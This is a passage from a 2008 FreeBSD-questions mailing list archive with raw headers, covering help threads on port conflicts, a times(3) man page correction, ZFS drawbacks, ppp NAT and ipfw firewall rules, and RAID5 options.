>WITH_SASL and after that point, if I try to install any package with >LDAP support, it tries to install openldap-client when >openldap-sasl-client is already there and conflicts as shown below. >What do I need to do to keep this from happening? > >---> Installing the new version via the port >=3D=3D=3D> Installing for openldap-sasl-client-2.4.11 >=3D=3D=3D> openldap-sasl-client-2.4.11 depends on >file: /usr/local/lib/libcrypto.so.5 - found =3D=3D=3D> Generating >temporary packing list =3D=3D=3D> Checking if net/openldap24-client alrea= dy >installed =3D=3D=3D> openldap-sasl-client-2.4.11 is already installed > You may wish to ``make deinstall'' and install this port again > by ``make reinstall'' to upgrade it properly. > If you really wish to overwrite the old port of > net/openldap24-client without deleting it first, set the variable > "FORCE_PKG_REGISTER" in your environment or the "make install" > command line. >*** Error code 1 > >Stop in /usr/ports/net/openldap24-client. >*** Error code 1 > >Stop in /usr/ports/net/openldap24-client. >** Command failed [exit code 1]: /usr/bin/script >-qa /tmp/portinstall.54161.0 env make reinstall ** Fix the >installation problem and try again. ---> Skipping 'net/nss_ldap' >because a requisite port 'net/openldap24-client' failed (specify -k to >force) ---> Skipping 'security/pam_ldap' because a requisite port >'net/openldap24-client' failed (specify -k to force) ** Listing the >failed packages (-:ignored / *:skipped / !:failed) > ! net/openldap24-client (install error) > * net/nss_ldap > * security/pam_ldap I am assuming that you are attempting to install the port(s) manually. Have you tried using a port management tool like 'portmanager' or 'portupgrade' to handle the task. --=20 Jerry gesbbb@yahoo.com Hoffer's Discovery: The grand act of a dying institution is to issue a newly revised, enlarged edition of the policies and procedures manual. --Sig_/Op5dAEzOOnl70aAAKeAX8ZG Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkkz+S4ACgkQBvaKIJWWCO0HWwCfRkPHlcGlerZ6Z/ff1BfDkS9Q 34wAoJ06vE4a31o0a8dBc+B6KSHK2m+M =pOHP -----END PGP SIGNATURE----- --Sig_/Op5dAEzOOnl70aAAKeAX8ZG-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 15:17:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7334E1065670 for ; Mon, 1 Dec 2008 15:17:25 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id DA73C8FC18 for ; Mon, 1 Dec 2008 15:17:24 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl144-35.kln.forthnet.gr [195.74.243.35]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB1FHFZT005699 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 1 Dec 2008 17:17:21 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB1FHF1k078723; Mon, 1 Dec 2008 17:17:15 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB1FHEHI078722; Mon, 1 Dec 2008 17:17:14 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: =?utf-8?Q?Viktor_=C5=A0tujber?= References: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> Date: Mon, 01 Dec 2008 17:17:13 +0200 In-Reply-To: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> ("Viktor =?utf-8?Q?=C5=A0tujber=22's?= message of "Mon, 1 Dec 2008 09:51:46 +0100") Message-ID: <87abbgrkli.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-MailScanner-ID: mB1FHFZT005699 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.824, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.57, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: freebsd-questions@freebsd.org Subject: Re: documentation problem for times(3) man page X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 15:17:25 -0000 On Mon, 1 Dec 2008 09:51:46 +0100, "Viktor =C5=A0tujber" wrote: > Hi. Half a year ago I started the following thread: > http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.ht= ml. > The subject was a documentation issue where a man page mismatched the > actual system behavior. You are right, there *is* a mismatch. The manpage seems to imply that times() returns the number of CLK_TCK's since the UNIX Epoch, but it returns the number of CLK_TCK's since the system _booted_ instead. I'll fix the manpage. Thanks for the reminder email :) From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 15:31:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 310B9106564A for ; Mon, 1 Dec 2008 15:31:18 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 9B97B8FC20 for ; Mon, 1 Dec 2008 15:31:17 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl144-35.kln.forthnet.gr [195.74.243.35]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB1FV7l4006315 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 1 Dec 2008 17:31:12 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB1FV7o3078941; Mon, 1 Dec 2008 17:31:07 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB1FV7ex078940; Mon, 1 Dec 2008 17:31:07 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Viktor =?utf-8?Q?=C5=A0tujber?= References: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> <87abbgrkli.fsf@kobe.laptop> Date: Mon, 01 Dec 2008 17:31:07 +0200 In-Reply-To: <87abbgrkli.fsf@kobe.laptop> (Giorgos Keramidas's message of "Mon, 01 Dec 2008 17:17:13 +0200") Message-ID: <874p1nsyis.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-MailScanner-ID: mB1FV7l4006315 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.826, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.57, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: freebsd-questions@freebsd.org Subject: Re: documentation problem for times(3) man page X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 15:31:18 -0000 On Mon, 01 Dec 2008 17:17:13 +0200, Giorgos Keramidas wrote: > On Mon, 1 Dec 2008 09:51:46 +0100, "Viktor =C5=A0tujber" wrote: >> Hi. Half a year ago I started the following thread: >> http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.h= tml. > >> The subject was a documentation issue where a man page mismatched the >> actual system behavior. > > You are right, there *is* a mismatch. The manpage seems to imply that > times() returns the number of CLK_TCK's since the UNIX Epoch, but it > returns the number of CLK_TCK's since the system _booted_ instead. > > I'll fix the manpage. It should be fixed on 8.0-CURRENT now, after the following change: : Author: keramida (doc committer) : Date: Mon Dec 1 15:27:00 2008 : New Revision: 185519 : URL: http://svn.freebsd.org/changeset/base/185519 : : Log: : The times(3) function returns the number of CLK_TCKs since the : startup time of FreeBSD, not since the UNIX Epoch. : : PR: docs/122359 : Submitted by: Viktor Štujber : MFC after: 1 week : : Modified: : head/lib/libc/gen/times.3 It may be too late to push this into 7.1-RELEASE, but I will try to merge the change to the stable branches in a few days. Cheers, Giorgos From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 15:34:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C11DC1065675 for ; Mon, 1 Dec 2008 15:34:29 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 90D168FC1E for ; Mon, 1 Dec 2008 15:34:29 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 7F95BAFC1C6; Mon, 1 Dec 2008 06:34:28 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 16:34:25 +0100 User-Agent: KMail/1.9.7 References: <1228140069.14908.23.camel@columbus.webtent.org> <20081201094813.4e311526@scorpio> In-Reply-To: <20081201094813.4e311526@scorpio> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-6" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 15:34:29 -0000 On Monday 01 December 2008 15:48:13 Jerry wrote: > >failed packages (-:ignored / *:skipped / !:failed) > > ! net/openldap24-client (install error) > > * net/nss_ldap > > * security/pam_ldap ^^^^^ portupgrade > > I am assuming that you are attempting to install the port(s) manually. > Have you tried using a port management tool like 'portmanager' or > 'portupgrade' to handle the task. It's likely it's caused by portupgrade, but won't be able to tell till the output from net/nss_ldap build. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 15:59:12 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 642E91065670 for ; Mon, 1 Dec 2008 15:59:12 +0000 (UTC) (envelope-from kirk@strauser.com) Received: from kanga.honeypot.net (kanga.honeypot.net [IPv6:2001:470:a80a:1:21f:d0ff:fe22:b8a8]) by mx1.freebsd.org (Postfix) with ESMTP id 1A4438FC08 for ; Mon, 1 Dec 2008 15:59:11 +0000 (UTC) (envelope-from kirk@strauser.com) Received: from localhost (localhost [127.0.0.1]) by kanga.honeypot.net (Postfix) with ESMTP id 2668C33C57 for ; Mon, 1 Dec 2008 09:59:11 -0600 (CST) X-Virus-Scanned: amavisd-new at honeypot.net Received: from kanga.honeypot.net ([127.0.0.1]) by localhost (kanga.honeypot.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sLs6O0KiLSlG for ; Mon, 1 Dec 2008 09:59:09 -0600 (CST) Received: from athena.localnet (athena.daycos.com [IPv6:2001:470:c054:1:221:9bff:fe00:de3f]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kanga.honeypot.net (Postfix) with ESMTPSA id DC78E33C50 for ; Mon, 1 Dec 2008 09:59:08 -0600 (CST) From: Kirk Strauser To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 09:59:15 -0600 User-Agent: KMail/1.10.1 (Linux/2.6.27-7-generic; KDE/4.1.2; x86_64; ; ) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812010959.15647.kirk@strauser.com> Subject: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 15:59:12 -0000 I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, in general I'm a bit underwhelmed. PROS: Adding new filesystems on a whim is really nice. It has a lot of really cool other features that I will probably never need. CONS: I have nearly 3GB of wired RAM, but it doesn't seem to be all that fast. For example, starting an Amanda backup on a UFS2 filesystem would get through the "estimate" phase almost instantly on a system that had been up for several days because of cached filesystem data. On ZFS, it still limps along even if I just finished the last backup a few minutes earlier. Other than saying "I'm using ZFS", I don't seem to have much to show for it. WTF: "Raidz and top-level vdevs cannot be removed from a pool." At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to give up that easy addition of new filesystems. I *could* have a single 700GB root FS but that just doesn't seem right. Are there any good, tested GEOM- based ways of getting that functionality, perhaps along the lines of using something like gvirstor and growfs as needed? - Kirk From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 16:13:58 2008 Return-Path: Delivered-To: FreeBSD-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C7B68106567F for ; Mon, 1 Dec 2008 16:13:58 +0000 (UTC) (envelope-from a@jenisch.at) Received: from srvdmz13.oekb.co.at (srvdmz13.oekb.co.at [143.245.5.103]) by mx1.freebsd.org (Postfix) with ESMTP id 24F318FC51 for ; Mon, 1 Dec 2008 16:13:57 +0000 (UTC) (envelope-from a@jenisch.at) Received: from msc01-n1 [143.245.2.187] by srvdmz13.oekb.co.at - SurfControl E-mail Filter (6.0.0); Mon, 01 Dec 2008 16:12:53 +0100 Received: from aurora.oekb.co.at ([143.245.9.16]) by MAIL1.oekb.co.at with Microsoft SMTPSVC(6.0.3790.3959); Mon, 1 Dec 2008 16:12:49 +0100 Received: from aurora.oekb.co.at (localhost.localdomain [127.0.0.1]) by aurora.oekb.co.at (8.14.2/8.14.2) with ESMTP id mB1FCnS5005119 for ; Mon, 1 Dec 2008 16:12:49 +0100 Received: (from ej@localhost) by aurora.oekb.co.at (8.14.2/8.14.2/Submit) id mB1FCnCM005118 for FreeBSD-questions@freebsd.org; Mon, 1 Dec 2008 16:12:49 +0100 X-Authentication-Warning: aurora.oekb.co.at: ej set sender to a@jenisch.at using -f Date: Mon, 1 Dec 2008 16:12:49 +0100 From: Ewald Jenisch To: FreeBSD-questions@freebsd.org Message-ID: <20081201151249.GA5103@aurora.oekb.co.at> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.18 (2008-05-17) X-OriginalArrivalTime: 01 Dec 2008 15:12:49.0809 (UTC) FILETIME=[4632A010:01C953C7] X-SEF-ZeroHour-RefID: fgs=0 X-SEF-7853D99-ADF1-478E-8894-213D316B8FFA: 1 X-SEF-Processed: 6_0_0_39__2008_12_01_16_12_53 Cc: Subject: Date/time installed ports have been updated on a system? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 16:13:58 -0000 Hi, Is there any way to determine when upgrades to installed ports have been done on a system? I did a "portupgrade -arR" recently and want to know which ports have been upgraded in that process (and no I didn't run that portupgrade under "script"...) Couldn't find an option to "pkg_info", "pkgdb" etc... Thanks much in advance for any clue, -ewald From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 16:35:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6B28B106564A for ; Mon, 1 Dec 2008 16:35:19 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from ti-out-0910.google.com (ti-out-0910.google.com [209.85.142.191]) by mx1.freebsd.org (Postfix) with ESMTP id EE5BB8FC1C for ; Mon, 1 Dec 2008 16:35:18 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: by ti-out-0910.google.com with SMTP id a1so1593854tib.3 for ; Mon, 01 Dec 2008 08:35:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:cc:subject :message-id:mail-followup-to:references:mime-version:content-type :content-disposition:in-reply-to:user-agent; bh=w7+cqXwRKkkXh8OOASOZ7xtEf4qEtd32M3HjTOW0+fw=; b=S/gKlUDirpMhE1xecj8rlWaEQbJ3+vZqlYsvCuZxiqiU/iZBr1MGHaELFllVwqx1E9 OHbKCE+aYbcO/8XoGL9axJ2WkFQfgL5iAIcsdL2AaGr5Cy1y/JJ9o4LlSmhqmSBGTd9S gMXQQulpahkxWGRAjhQHhfw/VQR/K+B4siGHo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; b=MPVw5BIZayGy96jvv3wfxUfxAR2Y4dQBTmvJ6JTJpbutz74zhER6uWvQA5cKKZh4Oh F1vfabz0tJjJC34HfBZVjgdMEj7kNrC7CQSs3oBrXtlG94QTA2TWQ7TzDoJXGpZwFfxH tm+fGjibHt2CG9MI8d4YEMznFi2AKhhtXsx28= Received: by 10.110.62.4 with SMTP id k4mr16750864tia.17.1228149317660; Mon, 01 Dec 2008 08:35:17 -0800 (PST) Received: from gmail.com ([203.153.170.119]) by mx.google.com with ESMTPS id 2sm1774777tif.0.2008.12.01.08.35.04 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 01 Dec 2008 08:35:16 -0800 (PST) Date: Mon, 1 Dec 2008 23:34:59 +0700 From: Pongthep Kulkrisada To: Ian Smith Message-ID: <20081201163459.GA964@gmail.com> Mail-Followup-To: Ian Smith , freebsd-questions@freebsd.org, Manolis Kiagias , Andrew , Fbsd1 References: <20081123120013.8EDF310657E3@hub.freebsd.org> <20081124012858.J43853@sola.nimnet.asn.au> <20081128163044.GA1850@gmail.com> <20081129222143.R34249@sola.nimnet.asn.au> <20081130142757.GA926@gmail.com> <20081201235157.J34249@sola.nimnet.asn.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081201235157.J34249@sola.nimnet.asn.au> User-Agent: Mutt/1.4.2.3i Cc: Andrew , freebsd-questions@freebsd.org, Fbsd1 , Manolis Kiagias Subject: Re: Problem about ppp -nat X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 16:35:19 -0000 > > # ppp -background isp > > Loading /lib/libalias_cuseeme.so > > Loading /lib/libalias_ftp.so > > Loading /lib/libalias_irc.so > > Loading /lib/libalias_nbt.so > > Loading /lib/libalias_pptp.so > > Loading /lib/libalias_skinny.so > > Loading /lib/libalias_smedia.so > > I'm surprised ppp would load these unless -nat was specified somewhere? It is just ppp -background isp. > I spent about 15 years debugging user problems with dialup modems; it > can be really difficult without first knowing the modem type and it's > internal config - however that doesn't seem to be your problem here. Modem type... it is just a normal external serial modem. Internal config... I don't know I lost its manual, sorry. > That is, on connect it should then procede to authentication. There's > no sign of that. Whether failing at your end or the other is unclear; > maybe logging LCP might provide more of a clue, but I'm not sure .. I also don't know about this. > > At boot time ... > > Flush all rules. > > ipfw: unknown interface name tun0 > > ipfw: getsockopt(IP_FW_ADD): Invalid argument > > Hmm. I have rules for natd via ng0, which also doesn't exist at boot, > without any such complaints, but that's on a 5.5-STABLE box. > > > 00100 check-state > > ... > > > > After presence of tun0 (after dialing) ... > > # sh /etc/ipfw.rules > > Flush all rules. > > ipfw: ipfw_ctl invalid option 56 > > What's that about? You haven't shown the rule that produced that .. root@bsdhost:~# cat /etc/ipfw.rules # Define the firewall command (as in /etc/rc.firewall) for easy # reference. Helps to make it easier to read. fwcmd="/sbin/ipfw" # Define our outside interface. With userland-ppp this # defaults to tun0. Or just define ethernet device. oif="tun0" # Force a flushing of the current rules before we reload. $fwcmd -f flush # Do NAT before check-state $fwcmd nat 123 config if $oif log deny_in same_ports unreg_only reset $fwcmd add nat 123 ip4 from any to any via $oif # Check the state of all packets. $fwcmd add check-state # Allow all internal traffics, it is dangerous but just for testing. $fwcmd add allow all from any to any via fxp0 # Allow IPv6 tunneling $fwcmd add allow udp from any 3653 to any 3653 via $oif $fwcmd add allow tcp from any 3653 to any 3653 via $oif # The following line is for user-ppp. $fwcmd add allow ipv6 from any to any via gif0 # The following line is for UDP encapsulation (machine behind NAT). # $fwcmd add allow ipv6 from any to any via tun1 # Stop spoofing on the outside interface. $fwcmd add deny ip from any to any in via $oif not verrevpath # Allow all connections that we initiate, and keep their state. # but deny established connections that don't have a dynamic rule. $fwcmd add allow ip from me to any out via $oif keep-state $fwcmd add deny tcp from any to any established in via $oif # Allow all local traffic. $fwcmd add allow all from any to any via lo0 $fwcmd add deny all from any to 127.0.0.0/8 $fwcmd add deny ip from 127.0.0.0/8 to any # Allow internet users to connect to the port 21, 23 and 80. # We specifically allow connections to the ftpd, telnetd and a webserver. $fwcmd add allow tcp from any to me dst-port 21,23,80 in via $oif setup keep-state # Allow ICMP packets: remove type 8 if you don't want your host # to be pingable. $fwcmd add allow icmp from any to any via $oif icmptypes 0,3,8,11,12 # Deny and log all the rest. $fwcmd add deny log ip from any to any > > 5. Then insert these commands to /etc/ipfw.rules as the first two rules. > > /sbin/ipfw add divert natd all from any to any via tun0 > > /sbin/ipfw add pass all from any to any > > then run the ipfw script to load the new rules. > > sh /etc/ipfw.rules > > Which other rules? Please see above. > > But I just can't pass step 3, unless I unload ipdivert. > > And your ppp.conf or ppp command definitely doesn't mention -nat? Not at all. As said above only ``ppp -background isp''. /etc/rc.conf and /etc/ppp/ppp.conf do not store anything about -nat. > > Please don't suspect my system. It had just been very freshly > > installed from CDs before I tried everything. And without ipdivert > > being loaded into the kernel, I can dial and browse any sites and > > very fast with my /etc/ppp/ppp.conf. Should note a bug? > > Maybe it is. I'm out of ideas anyway, and noone else has come forward. I have been using *Unix for 7 years (2 years for linux and 5 years for FreeBSD). I haven't found such things. Even with noisy telephone line, I could always dial isp. (But link down sometimes, of course it is found everywhere.) I think it is a bug. > Well I'm pretty sure you shouldn't load ipdivert as well as using ipfw > nat, but I've been almost 100% wrong so far so perhaps best ignore me :) I may go on with ppp -nat, but when I have time. I am always busy... Lastly, thank you very much for your kind response. Cheers, Pongthep From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 17:03:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4D4BB1065670 for ; Mon, 1 Dec 2008 17:03:38 +0000 (UTC) (envelope-from pb@ludd.ltu.se) Received: from mother.ludd.ltu.se (mother.ludd.ltu.se [130.240.16.3]) by mx1.freebsd.org (Postfix) with ESMTP id B0A398FC0C for ; Mon, 1 Dec 2008 17:03:37 +0000 (UTC) (envelope-from pb@ludd.ltu.se) Received: from brother.ludd.ltu.se (root@brother.ludd.ltu.se [130.240.16.78]) by mother.ludd.ltu.se (8.13.6+Sun/8.12.10) with ESMTP id mB1GjB13000906 for ; Mon, 1 Dec 2008 17:45:11 +0100 (MET) Received: from brother.ludd.ltu.se (pb@localhost [127.0.0.1]) by brother.ludd.ltu.se (8.13.6+Sun/8.12.2) with ESMTP id mB1GjBwr016343 for ; Mon, 1 Dec 2008 17:45:11 +0100 (MET) Received: (from pb@localhost) by brother.ludd.ltu.se (8.13.6+Sun/8.13.6/Submit) id mB1GjBWj016342 for freebsd-questions@freebsd.org; Mon, 1 Dec 2008 17:45:11 +0100 (MET) From: Peter B Message-Id: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 17:45:11 +0100 (MET) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: RAID5 on FreeBSD 6 or 7 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 17:03:38 -0000 Is it vinum or gvinum (geom8) that is the utility to create a RAID5 volume..? Things like that gvinum lacks the 'stop' command etc.. makes me think that it's not production ready or that the source code has not matured enough. /P From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 17:14:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3C810106578F for ; Mon, 1 Dec 2008 17:14:24 +0000 (UTC) (envelope-from lists@webtent.net) Received: from tpa-hosting.webtent.net (tpa-hosting.webtent.net [208.38.145.45]) by mx1.freebsd.org (Postfix) with ESMTP id BCC588FC18 for ; Mon, 1 Dec 2008 17:14:23 +0000 (UTC) (envelope-from lists@webtent.net) Received: from [72.64.244.51] (columbus.webtent.org [72.64.244.51]) by tpa-hosting.webtent.net (8.13.1/8.13.1) with ESMTP id mB1HEL5L027552; Mon, 1 Dec 2008 12:14:21 -0500 From: Robert Fitzpatrick To: Mel In-Reply-To: <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> References: <1228140069.14908.23.camel@columbus.webtent.org> <20081201094813.4e311526@scorpio> <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> Content-Type: text/plain Organization: WebTent Networking, Inc. Date: Mon, 01 Dec 2008 12:14:20 -0500 Message-Id: <1228151660.20351.4.camel@columbus.webtent.org> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: robert@webtent.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 17:14:24 -0000 On Mon, 2008-12-01 at 16:34 +0100, Mel wrote: > On Monday 01 December 2008 15:48:13 Jerry wrote: > > > >failed packages (-:ignored / *:skipped / !:failed) > > > ! net/openldap24-client (install error) > > > * net/nss_ldap > > > * security/pam_ldap > > ^^^^^ portupgrade > > > > I am assuming that you are attempting to install the port(s) manually. > > Have you tried using a port management tool like 'portmanager' or > > 'portupgrade' to handle the task. > > It's likely it's caused by portupgrade, but won't be able to tell till the > output from net/nss_ldap build. > Thanks for the ideas from everyone. I was doing a portinstall of nss_ldap and pam_ldap. I went ahead and used the -k option and all in and working now. I also received the error when installing samba, I'm sure would for every LDAP dependent port if memory serves. This always bites me, I have uninstalled/reinstalled ports in the past and fiddled with things to get it all working, but nowadays I am more knowledgeable/comfortable using force options with the port utilities. -- Robert From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 17:17:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DF7151065670 for ; Mon, 1 Dec 2008 17:17:52 +0000 (UTC) (envelope-from fbsd06+4G=8793926f@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by mx1.freebsd.org (Postfix) with ESMTP id AF19E8FC1D for ; Mon, 1 Dec 2008 17:17:52 +0000 (UTC) (envelope-from fbsd06+4G=8793926f@mlists.homeunix.com) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 328AD23E3E6 for ; Mon, 1 Dec 2008 12:17:50 -0500 (EST) Date: Mon, 1 Dec 2008 17:17:48 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081201171748.1c9b5718@gumby.homeunix.com> In-Reply-To: <20081201151249.GA5103@aurora.oekb.co.at> References: <20081201151249.GA5103@aurora.oekb.co.at> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Date/time installed ports have been updated on a system? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 17:17:53 -0000 